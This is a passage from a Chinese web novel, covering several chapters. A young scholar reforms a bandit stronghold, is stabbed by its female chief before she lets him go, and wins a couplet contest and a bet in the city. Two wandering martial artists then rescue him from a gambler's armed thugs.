陈平川缓缓放下手中粗糙的陶碗,他站起身,在众人惊愕的注视下,慢条斯理地说道:“杀戮,是最低效,也是最愚蠢的手段。” 他走到众人中央,解释道。 PC站点如章节文字不全请用手机访问 “诸位,杀降不祥。何况,那是几百条活生生的人命,不是几百头待宰的猪羊,岂能是说杀就杀的?” “再者,”他话锋一转,声音顿了顿,“我们现在最缺的是什么?是敌人吗?不,是人手!” 这番话让许多头脑简单的匪徒愣住了,眼中露出茫然。 “那些降匪,都是青壮劳力。杀了他们,除了能泄一时之愤,我们能得到什么?什么也得不到。” 陈平川伸出手指,在空中轻轻一点,“但留下他们,就能为我们修缮山寨,开垦荒地,加固工事,将黑风山打造成真正的铜墙铁壁。” “军师的意思是……”凤三娘的眸子微微亮起,饶有兴趣地问道。 陈平川点点头,继续说道:“我的方略是,甄别、改造、收编。” “首先,由我亲自审问,将其中罪大恶极、民愤极大的首恶分子挑出来,当众处决,以儆效尤,也算给山下那些曾受其害的百姓一个交代。” “其余胁从者,全部打散,编入劳役队。我们给他们一口饭吃,让他们用汗水和劳动,来换取活命的机会。在此期间,观察其心性,磨掉他们身上的匪性与戾气。” “待考验合格,其中真心悔改、又有几分本事的,便可吸纳为我们黑风寨的一员。而且,我们的仁义之举,会吸引其他志同道合的人来投奔。如此一来,山寨的实力,便会越来越强。” PC站点如章节文字不全请用手机访问 第98章 捅了军师一剑,大当家她彻底慌了! 一番话说完,整个议事堂内鸦雀无声,只剩下火盆里木炭偶尔发出的“噼啪”爆响。 所有人都被这套闻所未闻的方略给震住了。 这不是打家劫舍的土匪思维,而是一种……一种开疆拓土、建立基业的宏大格局。 凤三娘的目光,一瞬不瞬地落在陈平川身上。 她从那双清澈而坚定的眼眸里,看到了远超草莽范畴的智慧与仁德。 猛地站起身,凤三娘白皙的手掌握住剑柄,环视众人,声音清冷。 “就按军师说的办!谁有异议,来找我凤三娘!” 于是,在陈平川的亲自监督下,十几名恶贯满盈的秃鹫寨匪徒,被斩于山门之前。滚烫的鲜血染红了山道的土地,也彻底震慑了所有降匪,让他们熄了最后一丝反抗的心思。 剩下的几百人,在严密的管理下开始了日复一日的劳动改造。 黑风寨的防御工事和山寨规模,以肉眼可见的速度扩张、变强。 陈平川的威望,在此刻达到了顶峰。 山寨众人看他的眼神,已从最初的敬佩,变成了彻底的信服与依赖。 他觉得,是时候离开这里了。 而凤三娘看着那个被众人簇拥的青衫少年,看着他指点江山、运筹帷幄的模样,心中在佩服的同时,一股恐慌,也悄悄爬上她的心头。 这小小的黑风山,恐怕是留不住他的…… 数日后,又一场庆功宴上,气氛融洽和乐。 酒过三巡,菜过五味,陈平川走到大堂中央。他整理了一下衣衫,对着首座上那道英姿飒爽的身影,深深一揖。 “大当家。” 凤三娘抬眼看他,嘴角还带着一丝因山寨日益兴盛而生的笑意,眼中波光流转。 “黑风寨危机已解,寨中实力蒸蒸日上,在下也算完成了当初对大当家的承诺。”陈平川的声音沉稳,回荡在大堂上,“平川离家日久,父母亲人定然忧心如焚,来年春闱之期也日渐临近,恳请大当家信守承诺,放我下山。” 喧闹的大堂,瞬间陷入一片死寂。 所有人的目光,都下意识地聚焦在凤三娘那张渐渐失去血色的脸上。 她缓缓站起身,嘴角的笑意消失得无影无踪,像是被寒风吹散的烟。 手腕一翻,一抹冷厉的寒光闪过。 “锵——” 那柄薄如秋水的长剑已然出鞘,冰冷的剑尖,如同毒蛇的信子,稳稳地抵在了陈平川的胸口。 “我黑风寨的规矩,只有死人,才能离开!” 她的声音没有一丝温度,冰冷无比! 陈平川面对锋利的剑尖,脸上竟无半分惧色,反而嗤笑一声。 他的眼中,带着浓重的失望与嘲讽。 PC站点如章节文字不全请用手机访问 “我本以为大当家是信守承诺的侠义之辈,没想到,也与那些言而无信、背信弃义的小人无异!” 他故意用言语刺激凤三娘最引以为傲的自尊。 “你找死!” 凤三娘被他的话彻底激怒,那双美丽的眸子里杀机一闪,手腕猛地向前一送! 她本只想吓退他,让他服软,让他收回那句诛心之言。 可陈平川却挺直了胸膛,不闪不避,用那双明亮的眼睛,直直地看着她! “噗——” 一声轻微的、利刃入肉的声音清晰地响起。 剑尖没入,一朵妖艳的血花,瞬间染红了他胸前的青衫。 陈平川闷哼一声,眼中闪过一丝痛苦,他低头看了看胸口的剑,又抬头看了看凤三娘,身体晃了晃,缓缓向后倒去。 凤三娘呆立当场。 她看着自己兀自滴血的剑,看着倒在血泊中的陈平川,整个世界的声音都消失了,脑中一片空白。 “军师!” “快救军师!” 议事堂内,座椅翻倒,酒坛倾洒,人们乱成一团, 铁牛蒲扇般的大手粗暴地拨开面前的人群,小心翼翼地抱起昏迷的陈平川。 瞥了一眼已经呆傻的凤三娘,一言不发抱着人,大步流星地冲向后堂。 山寨里的几个大夫都被紧急叫来,后堂的门被重重关上,隔绝了外面的世界。 “剑刺得不深,万幸没伤到要害。”大夫检查完伤口,终于长舒了一口气,声音却依旧凝重,“就是流的血太多了,人虚得很,能不能醒过来,就看他的造化了。” “大夫,你一定要治好军师啊!” 铁牛的哀求声从门里传出来,凤三娘一人站在门外,夜风阴冷,吹动着她玄色的衣角。 清冷的月光洒下,将她那张向来英气逼人的脸庞映照得惨白如纸,毫无血色。 她浑身都在微微颤抖,一种深深的懊悔涌上心头。 哑巴叔不知何时无声地来到她身边,伸出粗糙的手,不停地比划着。 可凤三娘却像丢了魂儿一样,对外界的一切都失去了感知。 她只是死死盯着那扇紧闭的房门,那扇门仿佛成了一道生死界限,隔开了她与那个被她亲手推向深渊的人。 她怕了。 平生第一次,如此真切地感到害怕。 怕自己真的,亲手杀了他。 那个用智慧为山寨带来新生,用言语点亮她心中迷茫的少年。 PC站点如章节文字不全请用手机访问 接下来的三天三夜,凤三娘寸步不离。 她固执地守在陈平川的床边,学着郭大妈的样子,笨拙地为陈平川擦拭身体,为他更换伤药。 那双握剑时稳如磐石、杀人时干净利落的手,在触碰到伤口时,却抖得厉害。 喂陈平川汤药时,也是仔细吹了又吹,生怕烫到他。 往日里那个英姿飒爽、令山匪闻风丧胆的黑风寨大当家,此刻却像个犯了错的孩子般手足无措,让旁边看着的郭大妈等人面面相觑,心中又是叹息又是心疼。 第四日清晨,一缕金色的阳光挣脱云层的束缚,透过窗棂斜斜地照了进来。 陈平川终于悠悠转醒。 眼皮沉重如铅,他费力地掀开一条缝,视线由模糊变得清晰。 第一眼看到的,便是伏在床边睡着的凤三娘。 她眉头紧紧锁着,似乎在梦中也摆脱不了梦魇的纠缠,长长的睫毛微微抖动,在眼下投出浅浅的阴影,带着一种褪去坚硬外壳后的脆弱之美。 PC站点如章节文字不全请用手机访问 第99章 凤三娘终于放人,但她有个条件 恰在此时,郭大妈端着一碗香气四溢的鸡汤悄声进来,见陈平川醒了,布满皱纹的脸上顿时绽开了喜悦的光。 她连忙放下碗,凑过来压低了声音,语气里满是欣喜。 “军师啊,你可算醒了。老天保佑!这几天,大当家日夜守着你,饭不吃水不喝,跟魔怔了似的,人都快熬垮了。” 郭大妈叹了口气,看了一眼沉睡的凤三娘,声音更低了,“她……她就是个不懂怎么留人的傻姑娘,脾气又倔,你可千万别往心里去。” 郭大妈的说话声还是惊醒了浅眠的凤三娘。 她抬起头,正对上陈平川那双带着几分戏谑、似笑非笑的眼眸。 那眼神清亮,虽有疲惫,却无半分怨怼,反而像是在看一出好戏。 凤三娘的脸颊“轰”的一下,血气上涌,瞬间涨得通红。 她像是做贼心虚般,慌乱地从床边弹起身,手脚都不知道该往哪儿放,眼神躲闪,语无伦次地辩解着。 “我……我只是怕你死了,山寨没人管账!你别多想!” 看着她这副此地无银三百两的窘态,陈平川心中暗叹一声,牵动了一下嘴角。 苦肉计,成了。 这一剑挨得,值! 他没有再用激烈的言辞去戳她的痛处,只是露出虚弱的笑容,声音沙哑却坚定的表达自己的诉求。 “大当家,请你……放我走吧。” 这一次,凤三娘没有再拔剑。 她站在原地,沉默了许久许久。最终颓然地叹口气,吐出几个字。 “等你伤好了再说。” 养伤的日子里,山寨众人轮流前来探望。 巧妹和大壮每天都捧着那本被翻得起了毛边的《西游记》手抄本,坐在床边,用陈平川教他们的字,磕磕巴巴地为他念着猴王的故事,稚嫩的声音是这沉闷伤病中最动听的乐章。 铁牛也来了好几次,可是他又不会说什么安慰人的话,只好挠着头,高大的身躯在床边显得局促不安。 憋了半天,只会瓮声瓮气地说一句:“军师,等你好了,俺也跟你学写字!” 然后,他会从怀里掏出一些不知从哪儿找来的山间野果,红彤彤的,放在床头,算是他能想到的最好的祝福。 一日深夜,窗外传来风过山林的涛声。 哑巴叔找到了独自坐在山崖边吹冷风的凤三娘。 她抱着膝,任凭冰冷的夜风吹乱她的长发,像个孤独的孩子。 哑巴叔在她身边坐下,伸出手,在空中无声地比划着。 凤三娘看懂了他的意思: 大当家,潜龙终究要回深渊,强行筑巢囚禁,只会让龙变成怨龙,那不仅会失去一个朋友,更会为黑风寨树立一个……可怕的敌人。 放他走吧。 PC站点如章节文字不全请用手机访问 这份恩情,才会长存。 哑巴叔走了,凤三娘枯坐了一夜,当天边泛起鱼肚白时,她终于想通了。 第二天,当陈平川已经能自己下地行走时,她主动找到了他。 “你可以走。” 她看着他,眼神复杂,有不舍,也有一丝释然。 “但我有一个条件。” “你必须立下字据,发誓欠我一件事。将来无论何时何地,只要我拿着这张字据找到你,提出任何要求,你都必须为我办到,不得违背。” 陈平川看着她决绝的眼神,知道这是她最后的让步,也是自己离开这里的唯一出路。 他郑重地点了点头,道:“只要不违背良知……” “这你放心,我不会那逼你做坏事,不过……” 凤三娘看着他的眼睛,语气突然变冷。 “若你违背誓言,我凤三娘,必将追杀你到天涯海角,不死不休!” 笔墨纸砚取来,陈平川提笔,在粗糙的麻纸上写下字据。 写完后,将毛笔一放,抬起左手,用牙咬破指尖。一滴鲜红的血珠沁出,他将这抹血红,重重地按在了自己的名字上。 天光未亮,晨曦的微光映在黑风寨的山门上,让周遭的一切都显得朦胧而不真切。 山门被推开,一行人从里面走出。 几乎全寨的人都自发地聚在了这里,黑压压的一片,却无人喧哗,只有离愁在人群中悄然弥漫。 “川娃子,出门在外,要自己个儿照顾好自己……”郭大妈那双布满老茧的手,不住地往陈平川本就不大的行囊里塞着厚实的烙饼,她的眼圈通红,絮絮叨叨的叮嘱,是母亲对远行孩子最朴素的牵挂。 巧妹和大壮领着一群“希望小学”的学生,孩子们眼中带着怯生生的孺慕之情。 他们将一本用粗麻线连夜装订的画册,递到陈平川面前。 画纸粗糙,笔触歪歪扭扭,却生动地描绘着他们围坐在陈平川身边,一撇一捺学习识字的场景,简单而纯粹。 “人之初,性本善。性相近,习相远……”清澈稚嫩的童音汇聚成一股暖流,在清晨微寒的山谷间轻轻回荡,那是他们能送给先生最好的礼物。 铁牛那铁塔般的身躯在人群中显得格外突兀,他挤上前来,粗犷的脸上露出扭捏与局促。 他闷声闷气地吼道:“山下的读书人,坏心眼子多,你可千万要小心!别没等当上什么劳什子大官,就被人坑了,那俺铁牛以后跟谁吹牛去说认识个解元郎!” 话音刚落,一道沉默的身影无声地出现在陈平川身侧。 哑巴叔将两个用油纸细细包好的小纸包塞进他手里。 陈平川打开一看,一包是成分不明的白色粉末,另一包则是鲜艳的赤红色。 哑巴叔比划了几个手势,那意思清晰明了: 白色,蒙汗药,效果奇好。 红色,见血封喉,以防万一。 PC站点如章节文字不全请用手机访问 这是属于江湖人最直接的关怀。 陈平川收下礼物,与众人一一郑重告别,强忍着眼眶的温热,将每一张面孔,每一份情谊都刻在心底。 他转身,走下那条长长山道。 山脚下,官道旁,凤三娘一袭黑衣劲装,身姿挺拔如松,已等候多时。 她手中牵着两匹马,鬃毛在晨风中飘动。 “我送你一程。” 她的声音清冷,没有一丝多余的言语,干净利落地翻身上马。 两人一路向北,默默骑行。 马蹄敲击着坚硬的官道,发出单调而富有节奏的“哒、哒”声。 此时,夕阳正浓,血色的余晖将他们的影子在地上拉得极长,仿佛两道即将分离的墨痕。 直到官道旁一座繁华城镇的轮廓在天际线遥遥在望,凤三娘才勒住马缰。 她从怀中取出一个沉甸甸的钱袋,手腕一抖,钱袋在空中划出一道利落的弧线,稳稳落在陈平川手中。 “盘缠。别死在路上,否则我那个人情,找谁要去?” 她凝视着他,那双总是清冷如秋水的眸子里,此刻翻涌着复杂难言的情绪,有不舍,有祝福,有担忧,最终都化作一句冷硬的叮嘱。 “京城水深,人心叵测,你好自为之。陈平川,记住你的誓言。” 话音未落,她猛地一拉马头,再没有片刻的迟疑。 骏马长嘶一声,人立而起,随即转身。那道决绝的黑色身影,冲入漫天晚霞之中,在驿道尽头化作一个迅速消失的黑点,自始至终,没有回头。 PC站点如章节文字不全请用手机访问 第100章 才子斗对惊艳全场,拆字为联技压群雄 陈平川握着那只尚有余温的钱袋,心中五味杂陈。 他掂了掂,里面大概是十几两碎银。 这笔钱对寻常百姓是巨款,可对他此去千里之外的京城,应付盘缠、打点关节,不过是杯水车薪。 他牵着马,缓缓走进了这座名为“永安”的州城。 自由的空气让他胸中郁气一扫而空,但现实的窘境也摆在眼前。 向庐州府的亲友求援,信使往返至少需要大半月,春闱在即,他等不起。 目光在繁华喧闹的街道上移动,忽然,一阵震天的喝彩与喧哗声将他吸引。 不远处,矗立一座雕梁画栋、足有三层高的巨大酒楼,门楣上“天下第一楼”五个烫金大字在夕阳下熠熠生辉。 楼前人头攒动,热闹非凡。 一块巨大的红木牌匾立在门口最显眼处,上面龙飞凤舞地写着一行夺人眼球的大字:“南云省摆擂对句大会!” 陈平川的视线越过攒动的人群,看到那狂热的人群,脸上的怅然一扫而空。 清亮的眼眸中闪动着精光,嘴角缓缓勾起一抹笑容。 对联比赛?这可是他的强项! 挤入人群,陈平川听着身旁书生们的议论。 “听说了吗?这大会凡有秀才功名者皆可参加,分三轮,头彩乃是……一百两白银!” “何止赏金!最终的胜者,还能成为天下第一楼花魁,苏青烟姑娘的座上宾,共饮一杯呢!” 陈平川对花魁兴趣寥寥,但那一百两白银,却让他十分心动。 这是他前往京城的唯一希望。 他的目光一转,发现在酒楼旁一处不起眼的角落里,竟设有一方赌盘。 庄家是个满脸横肉的胖子,脸上堆着笑,一双小眼睛里却透着精明。 陈平川径直走了过去。 “大哥,这个怎么玩?” 那胖子名叫赵五,外号“笑面虎”,他抬眼打量了陈平川一番,见他一身风尘,衣衫普通,便笑眯眯地开口:“这位小相公,也想来玩两把?” “嗯,在下没玩过,不知是何规矩?” 陈平川露出几分涉世未深的青涩与好奇,这副模样,在赵五这等老江湖眼中,正是最受欢迎的肥羊。 赵五哈哈一笑,把规则说了一遍:“简单得很!一会,有人上台对垒,你随意押其中一位胜,押对了,一赔三。当然,你也可以押你自己,不过嘛……” 他摇头道:“能上台的都是高人,我劝你别做那白日梦。” 陈平川没有废话,将凤三娘所赠的钱袋放在了赌桌上,发出一声闷响。 “大哥,我就押我自己胜!” 赵五愣了一下,随即爆发出一阵夸张的大笑,引得周围赌客纷纷侧目。 PC站点如章节文字不全请用手机访问 “小相公,你确定押你自己?” 陈平川憨憨地点了点头。 赵五眼中满是轻蔑与贪婪,仿佛在看一个傻子。 他拿起毛笔,在赌单上写下陈平川的名字,又将那份赌注收进钱箱。 “好!你是新人,赔率是一赔五十,单子在这,收好喽!” 陈平川拿着赌单,转身走向报名处,登上了高台。 众人见他一个乳臭未干的少年也敢上台,顿时引起一片议论和低讽。 陈平川视而不见听而不闻,安静地等着比赛开始。 第一轮海选,主持人高声念出上联:“烟锁池塘柳!” 此联一出,台下便响起一阵低低的惊叹声。五字偏旁,暗含“火、金、水、土、木”,看似简单,实则玄机暗藏。 本地最有名的“铁嘴”王秀才抢先一步,摇着折扇,满面春风地走出来。 他声音洪亮:“炮镇海城楼!” 此联对仗工整,五行俱全,引得满堂喝彩。 王秀才得意地拱了拱手,骄傲眼神瞥过陈平川,意思很明显:小子,这不是你该来的地方! “还有哪位公子能对上来?”主持人环顾其他选手。 其他人面面相觑,无人吭声。 “我来!” 陈平川迈步上前,环视一周,目光落在酒楼内那些悬挂的华丽灯盏上,它们的光芒映照在雕花的栏杆与水波般的地面上。 他清朗的声音响起:“灯垂锦槛波。” 此联一出,现场先是一静,随即爆发出比刚才更热烈的叫好声。 “灯、垂、锦、槛、波”,五行俱全,但意境却比“炮镇海城楼”的肃杀之气风雅华贵了不止一个档次,与这“天下第一楼”的奢华景象更是绝配。 裁判席上一位锦袍老者双眼一亮,抚掌高呼:“妙!妙啊!” 三楼的纱帘之后,一双本已倦怠闭合的清冷凤眼,微微睁开。 花魁苏青烟本对这等附庸风雅、追名逐利之场感到厌倦,但陈平川那清朗的声音和绝妙的下联,让她第一次产生了一丝好奇。 第二轮,题目难度陡增。 主持人清了清嗓子,待掌声稍歇,缓缓展开第二卷卷轴,高声诵读,声音传遍酒楼内外:“第二轮的上联是——冻雨洒窗,东两点,西三点!” 此联一出,全场瞬间陷入了寂静,随即是嗡嗡的议论声。 “冻雨洒窗?这意境寻常,后面那‘东两点,西三点’是何意?” “莫非是说雨点大小?” “不对,这其中必有玄机!” PC站点如章节文字不全请用手机访问 王秀才眉头紧锁,苦思冥想片刻,自以为得了其中三味,抢先一步高声道:“我对:朔风吹叶,南一枝,北半边!” 他这联对得气势倒也相合,但明眼人一听便知,完全没摸到门道,只是在模仿句式,众人也只是礼貌性地附和几声,并无多少喝彩。 “我懂了!” 人群中一位戴绿帽的公子似乎看出了些门道,摇头晃脑:“此联乃是拆字联!‘冻’字,可拆为‘东’与‘冫’(两点水);‘洒’字,可拆为‘西’与‘氵’(三点水)!妙,实在是妙!” 他点破玄机,引来一片恍然大悟之声。 然而,看破却不等于能对上。 绿帽公子搜肠刮肚,额头见了汗,也想不出一个既能拆字,又能意境相合的下联,最终只得摇头叹息,拱手认输。 主持人想起陈平川,便看过来:“这位小公子,可否一试?” 全场的目光,瞬间聚焦到了陈平川身上。 锦袍老者和苏青烟也饶有兴趣,想看看陈平川能对出什么句子来。 陈平川神色自若,他看了眼大堂里来回穿梭的伙计,以及那些被端上桌的精美果盘。 他微微一笑,朗声应道:“我对——切瓜分客,横七刀,竖八刀!” PC站点如章节文字不全请用手机访问 第101章 花魁慧眼识英雄,万民苦舟警世言 话音落下,全场先是愕然一静。 “切瓜分客?” “横七刀,竖八刀?” 就在众人不解之时,裁判席上那名一直闭目养神的老者猛地睁开双眼,一拍大腿,激动得站了起来,胡子都在颤抖:“绝了!绝了啊!‘切’字,正是‘七’与‘刀’!‘分’字,正是‘八’与‘刀’!上联冻雨凄冷,下联切瓜分客,热情好客!意境针锋相对,结构天衣无缝!此子,真乃奇才!” 经他这么一点拨,全场瞬间沸腾! “我的天!竟然是这样!” “此联一出,谁与争锋!” “这少年是何方神圣?才思敏捷至斯!” …… 全场爆发出雷鸣般的掌声。 先前那些轻视陈平川的人,此刻脸上写满了震惊与羞愧。 角落里,赌盘庄家赵五脸上的笑容彻底僵住。 他死死盯着台上那个青衫少年,眼神阴狠得如同潜伏的毒蛇。 他意识到,自己可能真的小看了这个不起眼的毛头小子。 主持人激动地高声宣布,陈平川毫无悬念地与“铁嘴”王秀才,以及另一位以辞藻华丽著称的富家公子“锦笔”刘公子,一同进入最终决战。 三楼,苏青烟从纱帘后起身,缓缓走到栏杆前。 她看不清陈平川的面容,但能感受到他身上那股锋芒。 这股锋芒,何其相似…… 她眼前仿佛又出现了父亲的身影,那个同样满怀经世济民之才的男人,在朝堂之上意气风发,直言进谏,最终却落得个折戟沉沙,罢官还乡,在无尽的抑郁中耗尽了最后一点心血。 一抹复杂的情绪在她心中交织——既有对陈平川惊世才华的欣赏,又有对这锋芒毕露的前途的深深担忧。 台下,主持人声音激昂地宣布:“最后一轮,将由我们天下第一楼的苏青烟姑娘亲自出题!” 全场瞬间安静下来,所有人的目光都汇聚到三楼那道绰约的身影上。 与此同时,酒楼的各个出口,几个身形壮硕的汉子悄无声息地站到了门边,不经意间,封锁了所有人的退路。 赵五的手,已经按在了腰间的刀柄上。 苏青烟纤手轻挥,身前薄纱如云雾般卷起。 她容颜清冷,眉目间带着一丝挥之不去的淡淡倦怠,仿佛看尽了世间繁华,也看透了人心凉薄。 她的声音如玉珠落盘,清冷而空灵,穿透了喧嚣,清晰地传入每个人耳中。 “小女子久闻民间疾苦,今日之题,无关风月,只谈苍生。”她朱唇轻启,字字清晰,缓缓念出上联:“稻粱丰,黎民饱,社稷安,叹无一官清似水。” 此联一出,场内响起一片倒吸冷气的声音。 看似歌舞升平的赞颂,末尾一句“叹无一官清似水”,却如一根淬毒的银针,辛辣无比地刺向了整个官场的腐败脓疮。 PC站点如章节文字不全请用手机访问 这种题目,已非才学问题,而是胆识的考验,一个不慎,便会引火烧身。 轮到“锦笔”刘公子率先应对。 他那张平日里养尊处优的脸涨得通红,搜肠刮肚,额头渗出细密的汗珠,半晌,才勉强开口:“玉帛多,君王乐,朝堂稳,恨少几吏廉如冰。” 对仗倒是工整,辞藻也算华丽,但意境却空洞无力,如隔靴搔痒,完全未能触及上联那沉重的核心。 众人只是礼貌性地鼓了鼓掌,气氛有些压抑。 “铁嘴”王秀才更是额头见汗。 这联直指国之弊病,稍有不慎,便是杀身之祸。 他思虑再三,手中那柄从不离身的折扇被他捏得咯吱作响,最终,理智战胜了虚荣。 他颓然拱手,声音有些干涩:“此联意境深远,针砭时弊,在下才疏学浅,不敢妄言。” 全场的焦点,再一次集中在陈平川身上。 他沉默不语,目光低垂,仿佛被这道惊天的难题镇住。 台下开始响起窃窃私语,汇成一片嗡嗡的声浪。 “这少年郎怕是要栽了!前两联靠的是才思敏捷,这最后一联,考的是胆识和阅历啊!”一名老秀才摇头叹息。 “何止是胆识!这话说得太满了,一个不慎,就是非议朝政的大罪!他一个毛头小子,哪敢接这个话茬?”旁边一个富商压低声音,眼神里满是忌惮。 “看来这百两白银,终究是要被天下第一楼收回去了,可惜,可惜了。” 赵五的脸上重新浮现出得意的微笑,自己的赌金应该是保住了。 就在这时,陈平川缓缓抬头。他的目光扫过那些衣着华贵的达官贵人脸上或幸灾乐祸、或事不关己的神情,最终,落在了三楼苏青烟那双清冷而又带着一丝期盼的眼眸上。 他想起沿途所见的饿殍,想起黑风寨百姓在苛政下的无奈挣扎,那些苦难的画面如同电影般在脑海中一帧帧闪回。 一股郁结之气填满了胸腔,喉咙有些干涩。 他缓缓张口,一字一顿地吟出下联:“君王心,苍生泪,庙堂高,看尽万民苦作舟!” “水能载舟,亦能覆舟!”锦袍老者再次拍案而起。他浑身颤抖,老眼中竟已噙满热泪。 他激动地连声赞叹:“好!好一个‘万民苦作舟’!此联,乃是警世之言!不畏强权,直抒胸臆,振聋发聩!冠军,非你莫属!” 三楼,苏青烟娇躯猛地一震,她扶住冰冷的栏杆,瘦弱的双肩不停颤动。 陈平川的下联,不仅对得天衣无缝,更用最沉痛的笔触,说出了她父亲当年冒死上谏却无人敢听的泣血心声! 这一刻,她感觉自己遇到了真正的知己。那是一种超越了男女之情的灵魂共鸣,深深震撼着她的内心。 陈平川赢得了对句大会的冠军。 他神色平静地走上高台,从主持人手中接过那一百两白银的赏金。 银子触手冰凉,却沉甸甸的,仿佛承载着无数人的目光。 他随即转身下了台,径直走向角落里的赌档。 赵五脸色铁青,眼角的肌肉不受控制地抽搐着。 PC站点如章节文字不全请用手机访问 他知道自己这回输惨了! 但在众目睽睽之下,他不敢发作,只能强忍着滔天的怒火,在周围人看好戏的目光压力下,从钱箱里抓出一沓厚厚的银票,狠狠丢在陈平川面前。 一千两! “多谢大哥!”陈平川笑着拱拱手。 赵五咬牙切齿,他看向陈平川的眼神,已经不再是阴狠,而是赤裸裸的、不加掩饰的杀意! 他的钱,可不是那么好拿的! PC站点如章节文字不全请用手机访问 第102章 福大命大,武林高手救场! 就在众人簇拥着陈平川,想要结交这位横空出世的少年奇才之时,苏青烟的贴身丫鬟穿过人群,姿态优雅地福身一礼,声音婉转动听:“公子,我家小姐有请上楼一叙。” 全场瞬间安静,随即爆发出阵阵低低的惊讶。 能成为花魁的座上宾已是殊荣,被主动邀请进入闺房,更是闻所未闻。 各种羡慕嫉妒与龌龊的猜测声四起。 陈平川原本想拒绝,他现在只想尽快离开这个是非之地。目光却不经意间瞥见赵五那张阴沉得快要滴出水的脸,以及酒楼门口那几个若隐若现、气息彪悍的壮汉。 他目光飞快一扫,将赵五那毫不掩饰的杀意和酒楼门口那几个气息彪悍的壮汉尽收眼底,心中瞬间雪亮。 此时携巨款强行离开,无异于肥羊入虎口。 苏青烟的邀请来得恰是时候,或许是他唯一的救命舟。 他立刻判断出,无论楼上是何等境地,都好过楼下这必死的绝境。 “请姐姐前面带路。” 他朝丫鬟点点头,步履沉稳,在无数道复杂的目光中,坦然上楼。 进入闺房,没有想象中的香艳气息,反而是一室清雅的书香扑面而来。 巨大的书架上摆满了卷帙浩繁的各类书籍,从经史子集到野史杂谈,应有尽有。 窗前摆着一张光洁的雕花书桌,笔墨纸砚整齐地摆放着。 苏青烟已褪去华服,换上了一身素衣,临窗而立,背影清瘦,神情凝重。 陈平川拱手一礼:“苏小姐有何吩咐?” 苏青烟缓缓转身,直视陈平川。她的目光深邃如古井,淡淡道:“你叫陈平川?” 陈平川点头。 “从何而来?去往何处?”苏青烟紧接着问,眼神犀利。 “庐州府人,欲进京赶考。”陈平川平静回应。 苏青烟眸中精光一闪。 她沉默片刻,把声音压得极低:“陈公子,你闯大祸了!” 陈平川眉头微挑,等着她的下文。 “赵五是本州知府的小舅子,此人睚眦必报。”苏青烟看着他,语气严肃。“你当众赢了他的钱,便是夺他的命。他已布下天罗地网,你走不出这座城!” 陈平川脸色微变,他早已有所察觉,却没想到对方背景如此之深。 苏青烟抬手指向一扇被帷幔遮掩的隐蔽窗户。“后窗外是暗巷,你从这里出去,走小路,可以出城。快走!” 陈平川从她的眼神里,看到真切的担忧,没有一丝矫揉造作。 苏青烟又补充道,带着一丝哀伤与期盼:“我虽与公子不相识,但你将来若能得志为官,愿你能做到你那副对联里说的,看尽万民之苦,便为万民做主!” 陈平川心中一凛,没想到在这风尘之地,竟能遇到如此高洁之人。 他从怀中掏出那些赏银,递了过去。 PC站点如章节文字不全请用手机访问 他沉声开口:“多谢苏小姐仗义相助,这点银子……” 苏青烟摇头,决然打断了他。“我苏青烟不缺钱。你赶快走!” 陈平川深深地看了苏青烟一眼,郑重地长揖及地:“苏小姐的恩情,在下铭记于心,永不敢忘!” 他不再犹豫,转身一个箭步,利落地翻身从后窗跃下。 然而,他刚刚跑到黑暗的巷子尽头,数十名手持利刃的黑衣人已如鬼魅般悄无声息地涌现,将他堵住。 冰冷的刀光在幽暗中闪烁,映出他们麻木而凶残的脸。 赵五那阴冷而得意的声音从巷口传来,带着狞笑,在狭窄的巷道里回响:“跑啊?苏小姐的闺房,滋味不错吧?可惜啊,你没命回味了!” 赵五的脸在惨淡的光影下狞笑,他一步步逼近,身后数十名恶奴手中的利刃反射着森然寒光,像一群嗅到血腥味的野狼,封死了陈平川所有退路。 屠刀,即将落下。 陈平川背靠着冰冷的墙壁,他神色出奇地平静,唯有微微颤动的眼睫透露出内心的波澜。 他的手指,早已扣紧了袖中的连弩,这是他此刻唯一的倚仗。 不过,对方有十几个人,而他的弩箭只有三支,而且要距离足够近才能射中。 怎么看,他今天都是死局! “跑啊?继续跑啊?”赵五的声音残忍,“老子早就料到那个贱人会放你走,等我宰了你,就去收拾苏青烟!” 陈平川的脸色顿时阴沉下来,杀气几乎要溢出他的眼睛! 就在这时,一个懒洋洋、仿佛没睡醒的声音,在巷口悠悠响起。 “阿弥陀佛……嗝……何处来的泼皮,光天化日,也敢谋财害命?” 话音未落,另一个冷峻如冰的声音紧接着响起,冷得像块冰。 “无量天尊。乱世凶年,魑魅魍魉都出来了!” 众人惊愕地循声望去,只见巷口不知何时多了两个人。 一个身穿打了无数补丁的破烂僧袍,手里拎着个黑不溜秋的酒葫芦,正仰头灌酒,醉眼惺忪。 另一个则身背一柄古朴长剑,玄色道袍一尘不染,面容严肃,眼神如电,宛如庙里的镇殿神像。 一僧一道,一动一静,一个浑身酒气,一个满身霜气。 气质天差地别,却都透着一股深不可测的气势,让这狭窄巷道里的肃杀氛围为之一滞。 赵五在永安城作威作福惯了,何曾有人敢这样与他说话,当即色厉内荏地暴喝:“哪里来的野和尚、臭道士,敢管本大爷的闲事?” “贫僧了尘,这个牛鼻子是太平道人。”邋遢和尚哈哈一笑,自我介绍:“我俩刚才在天下第一楼看好戏,没想到,这楼后面还有好戏可看。” 他打了个响亮的酒嗝,伸出油腻腻的手指,遥遥指着赵五,嘿嘿笑道:“贫僧看你这胖子印堂发黑,血光罩顶,今日若不放下屠刀,怕是要横尸街头喽。” 太平道人则冷眼扫过那群持刀的恶奴,声音不带一丝感情,却比刀锋更冷:“一群官府豢养的走狗,欺压一个为民发声的少年。大业朝的根,就是被你们这种蛀虫,一口一口啃烂的。” 赵五被当众羞辱,顿时恼羞成怒,怒声咆哮:“给我上!连这两个不知死活的东西,一起剁了!” 一声令下,恶奴们如狼群般咆哮着一拥而上。 PC站点如章节文字不全请用手机访问 第103章 神仙打赌,赌注竟是我自己? 了尘和尚身形只是一晃,便如一片被风吹起的枯叶,轻飘飘地荡入人群。 他手中那只破酒葫芦在他手中仿佛活了过来,东敲西打,看似随意,却总能后发先至,精准无比地击中恶奴们的手腕、脚踝、膝盖等关节要害。 只听“噼啪”之声不绝于耳,伴随着阵阵压抑的惨叫。那酒葫芦看似轻巧,落下时却力道沉猛,只一瞬间,地上便躺倒了一片,个个抱着受伤的关节哀嚎翻滚,兵器散落一地。 太平道长则更为直接。 他甚至没有拔剑,只是立在原地,并指如剑,对着前方虚虚一划。 一道无形的剑气,带着撕裂空气的尖啸,纵横而出。 